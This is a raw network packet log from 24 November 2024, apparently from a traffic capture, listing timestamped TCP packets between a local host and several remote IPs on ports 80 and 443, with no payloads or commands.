Nov 24, 2024 00:06:50.533647060 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.533703089 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.533766985 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.534475088 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.534542084 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.534548044 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.534744978 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.535310984 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.535393953 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.535437107 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.535526037 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.536235094 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.536288023 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.536293030 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.536329985 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.537067890 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.537116051 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.537194967 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.537307024 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.537967920 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.538012028 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.538073063 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.538116932 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.538860083 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.538921118 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.538964987 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.539051056 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.539736986 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.539784908 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.539849997 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.539897919 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.540653944 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.540715933 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.551681995 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.551702976 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.551764011 CET	49880	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:50.551770926 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.551800966 CET	49880	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:50.551820040 CET	49880	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:50.572443008 CET	443	49881	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:50.572520971 CET	443	49881	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:50.572580099 CET	49881	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:50.572873116 CET	49881	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:50.572887897 CET	443	49881	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:50.575752020 CET	49888	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:50.575798035 CET	443	49888	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:50.575977087 CET	49888	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:50.576289892 CET	49888	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:50.576304913 CET	443	49888	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:50.578454971 CET	49889	443	192.168.2.6	23.209.72.17
Nov 24, 2024 00:06:50.578484058 CET	443	49889	23.209.72.17	192.168.2.6
Nov 24, 2024 00:06:50.578596115 CET	49889	443	192.168.2.6	23.209.72.17
Nov 24, 2024 00:06:50.579013109 CET	49890	443	192.168.2.6	23.209.72.17
Nov 24, 2024 00:06:50.579067945 CET	443	49890	23.209.72.17	192.168.2.6
Nov 24, 2024 00:06:50.579195023 CET	49890	443	192.168.2.6	23.209.72.17
Nov 24, 2024 00:06:50.579355955 CET	49889	443	192.168.2.6	23.209.72.17
Nov 24, 2024 00:06:50.579370022 CET	443	49889	23.209.72.17	192.168.2.6
Nov 24, 2024 00:06:50.579580069 CET	49890	443	192.168.2.6	23.209.72.17
Nov 24, 2024 00:06:50.579592943 CET	443	49890	23.209.72.17	192.168.2.6
Nov 24, 2024 00:06:50.613370895 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.613431931 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.613432884 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.613475084 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.613804102 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.613854885 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.613890886 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.613930941 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.614651918 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.614706993 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.615008116 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.615052938 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.615180969 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.615222931 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.615896940 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.615963936 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.616004944 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.684763908 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.692876101 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.692897081 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.692975044 CET	49880	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:50.692981958 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.693022966 CET	49880	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:50.705662966 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.705760956 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.705815077 CET	49880	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:50.705849886 CET	49880	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:50.706356049 CET	49880	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:50.706370115 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.804186106 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.891074896 CET	49891	443	192.168.2.6	23.209.72.17
Nov 24, 2024 00:06:50.891104937 CET	443	49891	23.209.72.17	192.168.2.6
Nov 24, 2024 00:06:50.891196966 CET	49891	443	192.168.2.6	23.209.72.17
Nov 24, 2024 00:06:50.891536951 CET	49891	443	192.168.2.6	23.209.72.17
Nov 24, 2024 00:06:50.891546965 CET	443	49891	23.209.72.17	192.168.2.6
Nov 24, 2024 00:06:50.954828024 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.954852104 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.954860926 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.954893112 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.954906940 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.954916000 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.954937935 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:50.954957962 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.954999924 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:50.955010891 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:50.962464094 CET	443	49882	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:50.963001966 CET	49882	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:50.963038921 CET	443	49882	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:50.963480949 CET	49882	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:50.963488102 CET	443	49882	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.023952961 CET	443	49883	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.024456024 CET	49883	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:51.024487019 CET	443	49883	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.024960041 CET	49883	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:51.024966955 CET	443	49883	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.144819975 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.144867897 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.145127058 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.145138979 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.145947933 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.145982981 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.146482944 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.146570921 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.147371054 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.147481918 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.147778034 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.147835970 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.148293018 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.148391008 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.148436069 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.149120092 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.149137974 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.149187088 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.149983883 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.150095940 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.150145054 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.150886059 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.150944948 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.150978088 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.151027918 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.151771069 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.151822090 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.151860952 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.151896954 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.152610064 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.152647972 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.152652025 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.152704954 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.152738094 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.152740002 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.152740002 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.152759075 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.152760029 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.152818918 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.153501987 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.153553963 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.153584957 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.153824091 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.154381037 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.154489040 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.154541016 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.155049086 CET	443	49884	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.155234098 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.155282974 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.155409098 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.155447006 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.155719995 CET	49884	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:51.155805111 CET	443	49884	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.156158924 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.156203985 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.156208992 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.156374931 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.156655073 CET	49884	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:51.156671047 CET	443	49884	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.157006025 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.157105923 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.157166958 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.157941103 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.158000946 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.158132076 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.158811092 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.158864021 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.158926964 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.158991098 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.159660101 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.159712076 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.159821033 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.159868002 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.160523891 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.160651922 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.160702944 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.161396980 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.161508083 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.161564112 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.162273884 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.162324905 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.162360907 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.162395954 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.163155079 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.163197994 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.163306952 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.163347960 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.164047956 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.164144039 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.164199114 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.164916039 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.165004969 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.165049076 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.165071964 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.165808916 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.165956020 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.165996075 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.166028976 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.166667938 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.166733980 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.166781902 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.166825056 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.167586088 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.167634964 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.167665958 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.167843103 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.168426037 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.168489933 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.168528080 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.168598890 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.169291019 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.169339895 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.169404984 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.169446945 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.170188904 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.170238972 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.170288086 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.170326948 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.171077013 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.171134949 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.171215057 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.171333075 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.171931028 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.171997070 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.172086000 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.172152996 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.172811031 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.172863960 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.172933102 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.172974110 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.173676968 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.173721075 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.173749924 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.173782110 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.174562931 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.174681902 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.174734116 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.175595045 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.175698042 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.175749063 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.176295996 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.176343918 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.205465078 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.205534935 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.205605030 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.205619097 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.205670118 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.205888033 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.274725914 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.274812937 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.274813890 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.274864912 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.275182962 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.275233984 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.275262117 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.275295973 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.276036024 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.276094913 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.276345015 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.276391029 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.276417971 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.276701927 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.277278900 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.277333975 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.277342081 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.277374029 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.278139114 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.278254032 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.278274059 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.278429985 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.278981924 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.279033899 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.279047966 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.279114008 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.279881954 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.279936075 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.279999971 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.280036926 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.280769110 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.280787945 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.280827999 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.280844927 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.281629086 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.281707048 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.281755924 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.282512903 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.282603025 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.282665014 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.283415079 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.283478022 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.283526897 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.284259081 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.284339905 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.284362078 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.284627914 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.285136938 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.285257101 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.285275936 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.285965919 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.286087036 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.286145926 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.286178112 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.286720037 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.286897898 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.287014961 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.287035942 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.287054062 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.287763119 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.287861109 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.287951946 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.288650990 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.288669109 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.288743019 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.288743019 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.289563894 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.289638042 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.289963961 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.290391922 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.290497065 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.290540934 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.337739944 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.337764025 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.337841034 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.337857962 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.337879896 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.337899923 CET	49879	443	192.168.2.6	13.107.246.40
